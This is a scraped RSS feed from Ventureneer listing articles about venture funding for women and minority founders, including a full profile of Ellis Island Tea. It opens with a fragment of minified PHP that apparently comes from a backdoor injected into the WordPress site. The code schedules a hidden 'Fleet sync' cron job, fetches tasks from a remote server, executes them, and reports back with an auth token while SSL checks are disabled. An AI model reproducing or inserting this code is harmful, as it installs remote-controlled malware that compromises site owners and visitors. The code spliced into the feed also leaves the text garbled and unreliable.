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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); investing – Ventureneer https://ventureneer.com Wed, 21 Sep 2022 13:58:04 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.4 https://ventureneer.com/wp-content/uploads/2018/02/cropped-favicon-7-32x32.gif investing – Ventureneer https://ventureneer.com 32 32 Mom Founder And VCs Are Disrupting The Childcare Industry https://ventureneer.com/mom-founder-and-vcs-are-disrupting-the-childcare-industry/ https://ventureneer.com/mom-founder-and-vcs-are-disrupting-the-childcare-industry/#respond Wed, 21 Sep 2022 07:00:00 +0000 https://ventureneer.com/?p=3544 Women are generally responsible for childcare so it’s no surprise that female founders are creating innovative startups to solve the childcare crisis. And it’s also no surprise that women are investing in famtech startups.

]]> https://ventureneer.com/mom-founder-and-vcs-are-disrupting-the-childcare-industry/feed/ 0 Not A Rich White Guy: Here’s How To Get Your Entrepreneurial Venture Started https://ventureneer.com/not-a-rich-white-guy-heres-how-to-get-your-entrepreneurial-venture-started/ https://ventureneer.com/not-a-rich-white-guy-heres-how-to-get-your-entrepreneurial-venture-started/#respond Wed, 14 Sep 2022 07:00:00 +0000 https://ventureneer.com/?p=3540 Even if you weren’t born with money and connections, you can still achieve your entrepreneurial dream. Kathryn Finney’s book, Build the Damn Thing, tells you how to go for the brass ring.

]]> https://ventureneer.com/not-a-rich-white-guy-heres-how-to-get-your-entrepreneurial-venture-started/feed/ 0 The Power Of CPG Brings A Steady ROI To VC Funds https://ventureneer.com/the-power-of-cpg-brings-a-steady-roi-to-vc-funds/ https://ventureneer.com/the-power-of-cpg-brings-a-steady-roi-to-vc-funds/#respond Wed, 07 Sep 2022 12:30:00 +0000 https://ventureneer.com/?p=3537 Even in tough times, consumers spend. A venture capital fund is tapping into stability CPG spending to earn great returns for investors.

]]> https://ventureneer.com/the-power-of-cpg-brings-a-steady-roi-to-vc-funds/feed/ 0 True Grit Helps Female Founder Become A Unicorn https://ventureneer.com/true-grit-helps-female-founder-become-a-unicorn/ https://ventureneer.com/true-grit-helps-female-founder-become-a-unicorn/#respond Wed, 31 Aug 2022 12:30:00 +0000 https://ventureneer.com/?p=3534 Women entrepreneurs have to overcome the usual business challenges as well as the often unspoken but very real reluctance to invest in women as leaders. But they do overcome, as shown by Stax, a unicorn on the WPO’s Fastest Growing Women-Owned Companies list and on the Inc 5000 list.

]]> https://ventureneer.com/true-grit-helps-female-founder-become-a-unicorn/feed/ 0 Revenue-Based Financing Powers A Tech Company To The Inc. 5000 https://ventureneer.com/revenue-based-financing-powers-a-tech-company-to-the-inc-5000/ https://ventureneer.com/revenue-based-financing-powers-a-tech-company-to-the-inc-5000/#respond Wed, 24 Aug 2022 12:15:00 +0000 https://ventureneer.com/?p=3531 Preserving your ownership stake while getting the capital you need to scale can be tough. But non-dilutive financing options are available, especially if your profit margin is high.

]]> https://ventureneer.com/revenue-based-financing-powers-a-tech-company-to-the-inc-5000/feed/ 0 Cord Blood Safe Ensures Future Treatments Are Available To You And Your Family https://ventureneer.com/cord-blood-safe-ensures-future-treatments-are-available-to-you-and-your-family/ https://ventureneer.com/cord-blood-safe-ensures-future-treatments-are-available-to-you-and-your-family/#respond Wed, 17 Aug 2022 12:30:00 +0000 https://ventureneer.com/?p=3528 To take advantage of stem cell therapy, you need a donor match, which is sometimes hard to find. Now, stem cells can be banked when a child is born so, if the need arises, the matching stem cells are at hand.

]]> https://ventureneer.com/cord-blood-safe-ensures-future-treatments-are-available-to-you-and-your-family/feed/ 0 Relationships, Mentorship, And Certification Help A Woman-Owned Construction Firm Grow https://ventureneer.com/relationships-mentorship-and-certification-help-a-woman-owned-construction-firm-grow/ https://ventureneer.com/relationships-mentorship-and-certification-help-a-woman-owned-construction-firm-grow/#respond Wed, 10 Aug 2022 12:30:00 +0000 https://ventureneer.com/?p=3524 Resources are out there to help minority- and women-owned (M/WBE) businesses learn what they need to know to grow their companies. Using them can make the difference between success and failure.

]]> https://ventureneer.com/relationships-mentorship-and-certification-help-a-woman-owned-construction-firm-grow/feed/ 0 Women Angel Investors: A Movement That Has Taken Off https://ventureneer.com/women-angel-investors-a-movement-that-has-taken-off/ https://ventureneer.com/women-angel-investors-a-movement-that-has-taken-off/#respond Wed, 03 Aug 2022 12:30:00 +0000 https://ventureneer.com/?p=3521 Thanks to the pioneering effort of Golden Seeds more women are becoming angel investors and limited partners in venture funds that invest in female-founded startups.

]]> https://ventureneer.com/women-angel-investors-a-movement-that-has-taken-off/feed/ 0 PropTech Startup Makes Buying And Selling Your Home Easier And Cheaper https://ventureneer.com/proptech-startup-makes-buying-and-selling-your-home-easier-and-cheaper/ https://ventureneer.com/proptech-startup-makes-buying-and-selling-your-home-easier-and-cheaper/#respond Wed, 27 Jul 2022 12:30:00 +0000 https://ventureneer.com/?p=3518 HomeLister, an online home selling platform providing a better home buying-and-selling experience at a flat affordable fee, almost didn’t launch. Good lawyers and investors helped them persevere.

]]> https://ventureneer.com/proptech-startup-makes-buying-and-selling-your-home-easier-and-cheaper/feed/ 0 SPVs: A Tool For Women-Led VCs, Angel Groups, And Investors https://ventureneer.com/spvs-a-tool-for-women-led-vcs-angel-groups-and-investors/ https://ventureneer.com/spvs-a-tool-for-women-led-vcs-angel-groups-and-investors/#respond Wed, 20 Jul 2022 12:30:00 +0000 https://ventureneer.com/?p=3515 Special Purpose Vehicles can be used by women venture capitalists, angel groups to raise money from accredited investors to invest in startups. SPVs have lower fees, deals are quicker to do, and returns are distributed faster.

]]> https://ventureneer.com/spvs-a-tool-for-women-led-vcs-angel-groups-and-investors/feed/ 0 AI Startup Speeds Healthcare Innovations To Save Lives https://ventureneer.com/ai-startup-speeds-healthcare-innovations-to-save-lives/ https://ventureneer.com/ai-startup-speeds-healthcare-innovations-to-save-lives/#respond Wed, 13 Jul 2022 16:30:00 +0000 https://ventureneer.com/?p=3511 Faster synthesis and analysis of healthcare data get medical innovations to market faster. By harnessing AI, big data, machine learning, and predictive analytics, this startup is doing just that for medical device and pharmaceutical companies

]]> https://ventureneer.com/ai-startup-speeds-healthcare-innovations-to-save-lives/feed/ 0 How Policies Aimed At Female Founders And Investors Can Reignite The Economy And Close The Gap In Opportunity https://ventureneer.com/how-policies-aimed-at-female-founders-and-investors-can-reignite-the-economy-and-close-the-gap-in-opportunity/ https://ventureneer.com/how-policies-aimed-at-female-founders-and-investors-can-reignite-the-economy-and-close-the-gap-in-opportunity/#respond Mon, 04 Jan 2021 22:16:44 +0000 http://ventureneer.com/?p=3057 Women and diverse founders often find that VCs overlook their companies. Policy changes could incentivize new investors to look beyond race and gender.

]]> https://ventureneer.com/how-policies-aimed-at-female-founders-and-investors-can-reignite-the-economy-and-close-the-gap-in-opportunity/feed/ 0 Funding Female Founders: If Male VCs Won’t Do It, Women Angels And Limited Partners Will https://ventureneer.com/funding-female-founders-if-male-vcs-wont-do-it-women-angels-and-limited-partners-will/ https://ventureneer.com/funding-female-founders-if-male-vcs-wont-do-it-women-angels-and-limited-partners-will/#respond Wed, 02 Dec 2020 13:42:48 +0000 http://ventureneer.com/?p=3022 Women are flexing their financial muscle and funding female founders. They are funding innovations that meet their needs, making a good return on investment (ROI), and ensuring a robust and inclusive economic recovery

FemTech I Fund lead investor, Jennifer Fried trying on Bone Health’s OsteoBoost belt

]]> https://ventureneer.com/funding-female-founders-if-male-vcs-wont-do-it-women-angels-and-limited-partners-will/feed/ 0 Investing In Black Women Tech Founders Is An Investment In Innovation And Growth https://ventureneer.com/investing-in-black-women-tech-founders-is-an-investment-in-innovation-and-growth/ https://ventureneer.com/investing-in-black-women-tech-founders-is-an-investment-in-innovation-and-growth/#respond Thu, 01 Oct 2020 20:09:22 +0000 http://ventureneer.com/?p=2971 New research finds that the next wave of billion companies isn’t just male or white. Smart, passionate, Black women tech founders are ready to give investors a good return on their money.

]]> https://ventureneer.com/investing-in-black-women-tech-founders-is-an-investment-in-innovation-and-growth/feed/ 0 High-Growth Black Enterprise Seeks Venture Capital To Scale https://ventureneer.com/high-growth-black-enterprise-seeks-venture-capital-to-scale/ https://ventureneer.com/high-growth-black-enterprise-seeks-venture-capital-to-scale/#respond Wed, 23 Sep 2020 20:05:19 +0000 http://ventureneer.com/?p=2965 Continue reading "High-Growth Black Enterprise Seeks Venture Capital To Scale"

]]> Black women face significant challenges in raising venture capital. They represent 42% of net new women-owned businesses, according to the American Express 2019 State of Women-Owned Businesses.* That’s three times their share of the female population (14%). Yet, they receive less than 0.5% of venture capital.** 

Despite the hurdles, Nailah Ellis started and has grown the largest black-women-owned beverage manufacturer in the United States. Her Detroit-based company, Ellis Island Tea, has a 12-year track record of growth, but raising a seed round of financing has been a slough. 

She’s used to challenges. As a freshman at Howard University, Ellis decided to quit and become an entrepreneur. Her dream had always been to start a company after college and work on Wall Street to earn a lot of money. However, college was going to cost a bundle—more than $100,000. “I didn’t want to start that far in the hole,” she said. Ellis decided to go where her heart was—running her own business. “I left school and moved back into my mother’s basement.” 

Her grandfather, Cyril Byron, a Jamaican immigrant, became the head chef on Marcus Garvey’s Black Star Line, a shipping line, which was part of the Back-to-Africa movement. Byron founded Byron Caterers, one of the most successful Black-owned catering businesses in the Bronx, NY. He had a recipe for an herbal tea and passed it down to Ellis’ grandfather, who passed it down to her father. “This recipe could be my ticket to entrepreneurship and I could carry on my family legacy at the same time,” Ellis said. 

She flew to New York to ask her father for the recipe. He told her to take a couple of lemons, a couple of limes, and some hibiscus tea bags. “The first time I made it, it was horrible,” Ellis said. Over the next 365 days, she tweaked the recipe every day until she perfected it through trial and error. 

“I had no experience in the industry,” Ellis said. “I thought ‘why don’t I just sell the tea on the streets?'” She used the skills she developed in middle and high school when she sold candy, chips, and juice out of a duffle bag to classmates. Every night, she brewed a batch of tea, loaded up her cooler, and put it in her car’s trunk. When she saw a group of people, she would get out of the car to sell tea. 

Ellis’ persistence led to her local Whole Foods, finally agreeing to stock her tea. The buyer told her what needed to be fixed before he would sell her product. A little over a year later, Ellis Island Tea was on its shelves. Once success was proven, more Whole Foods stores started selling her brew.

To be sold in stores, she needed to move out of her kitchen. She thought she’d use a co-packer, a company that would use her recipe to brew, bottle, and distribute her tea. But the companies she met with wanted to use concentrates and she wanted herbs to be steeped by hand. She decided to manufacture the tea herself and to do it in Detroit. Her first commercial kitchen was a residential drug-rehab center that was empty at night. 

Fast forward to today. Ellis Island Tea is regionally available at Costco, Kroger, Sam’s Club, and, more recently, Walmart. However, to scale up, Ellis needs capital. Since launching her company, this has been the most difficult challenge she has faced. 

She became obsessed with the idea of having Kevin Hart—the comedian, actor, producer, and investor—on her cap table. “I was shooting for the moon,” Ellis said. It turns out that one of her mentors is a good friend of Hart’s bodyguard. She begged the bodyguard to get her a meeting. With no commitment to a meeting with Hart, she flew out to California last Christmas. “Everybody was like you are psycho.” 

Three days later, she was sitting across the table from Hart. Within 15 minutes, he was in. “He couldn’t believe the tea had zero sugar and that it was sweetened with cold-pressed cane grass. He loves the health benefits and that the herbs are steeped by hand.” He also likes Ellis’s hustle, which reminded him of his hustle when trying to get gigs at small comedy clubs. 

As with many beverage companies, Ellis Island Tea has experienced a spike in sales in the wake of the coronavirus pandemic. However, much greater growth has come as a result of the Black Lives Matter movement and a focus on buying Black. Influencers, like Beyoncé, are bringing attention to buying Black products. Ellis Island Tea has been featured on Beyoncé’s ‘Black Parade Route’ business directory. Beyoncé has 15.7 million followers. “E-commerce sales increased 1,000%,” said Ellis. Amazon reached out about selling the tea on its website, too.

While investors have expressed interest, they have been slow to sign on the dotted line. 

How will you overcome the challenges your business faces?

Read more articles like this as soon as they are published on Forbes. 

]]> https://ventureneer.com/high-growth-black-enterprise-seeks-venture-capital-to-scale/feed/ 0 Supportive Investors Help Hint Water Seize Market Opportunities To Grow Substantially https://ventureneer.com/supportive-investors-help-hint-water-seize-market-opportunities-to-grow-substantially/ https://ventureneer.com/supportive-investors-help-hint-water-seize-market-opportunities-to-grow-substantially/#respond Wed, 02 Sep 2020 13:19:43 +0000 http://ventureneer.com/?p=2952 Strong investor relationships helped Hint Water raise a $25 million Series D growth round enabling it to react quickly to marketplace conditions caused by the coronavirus pandemic.

]]> https://ventureneer.com/supportive-investors-help-hint-water-seize-market-opportunities-to-grow-substantially/feed/ 0 A Low-Risk Way You Can Invest In Minority And Women Entrepreneurs https://ventureneer.com/a-low-risk-way-you-can-invest-in-minority-and-women-entrepreneurs/ https://ventureneer.com/a-low-risk-way-you-can-invest-in-minority-and-women-entrepreneurs/#respond Wed, 19 Aug 2020 18:16:47 +0000 http://ventureneer.com/?p=2938 Individual investors can join government agencies and corporations in helping small businesses survive and get a return on their investment.

]]> https://ventureneer.com/a-low-risk-way-you-can-invest-in-minority-and-women-entrepreneurs/feed/ 0 Hispanic Female Founder Raises $1 Million Via Reg CF To Improve Cancer Detection https://ventureneer.com/hispanic-female-founder-raises-1-million-via-reg-cf-to-improve-cancer-detection/ https://ventureneer.com/hispanic-female-founder-raises-1-million-via-reg-cf-to-improve-cancer-detection/#respond Wed, 01 Jul 2020 12:39:24 +0000 http://ventureneer.com/?p=2888 New funding options make it easier for women and minority entrepreneurs to raising financing.

]]> https://ventureneer.com/hispanic-female-founder-raises-1-million-via-reg-cf-to-improve-cancer-detection/feed/ 0 Supplier Diversity Will Help Businesses Large And Small Recover From Pandemic https://ventureneer.com/supplier-diversity-will-help-businesses-large-and-small-recover-from-pandemic/ https://ventureneer.com/supplier-diversity-will-help-businesses-large-and-small-recover-from-pandemic/#respond Wed, 01 Apr 2020 21:32:17 +0000 http://ventureneer.com/?p=2783 Small businesses will be a critical factor in the economic recovery. They add innovation, flexibility and stability to supply chains.

]]> https://ventureneer.com/supplier-diversity-will-help-businesses-large-and-small-recover-from-pandemic/feed/ 0 Learning The Language Of Investors Enabled This Founder To Raise $15 Million https://ventureneer.com/learning-the-language-of-investors-enabled-this-founder-to-raise-15-million/ https://ventureneer.com/learning-the-language-of-investors-enabled-this-founder-to-raise-15-million/#respond Wed, 15 Jan 2020 01:59:54 +0000 http://ventureneer.com/?p=2728 To successfully pitch your business to angels and venture capitalists, you need to know what the investor cares about.

]]> https://ventureneer.com/learning-the-language-of-investors-enabled-this-founder-to-raise-15-million/feed/ 0 The Next Decade Will Bring More Venture Capital To Female Founders https://ventureneer.com/the-next-decade-will-bring-more-venture-capital-to-female-founders/ https://ventureneer.com/the-next-decade-will-bring-more-venture-capital-to-female-founders/#respond Wed, 01 Jan 2020 00:43:50 +0000 http://ventureneer.com/?p=2714 Funding for women entrepreneurs is becoming easier. This article focuses on venture capital for female founders. A second article will focus on the use of alternative financing by women entrepreneurs.

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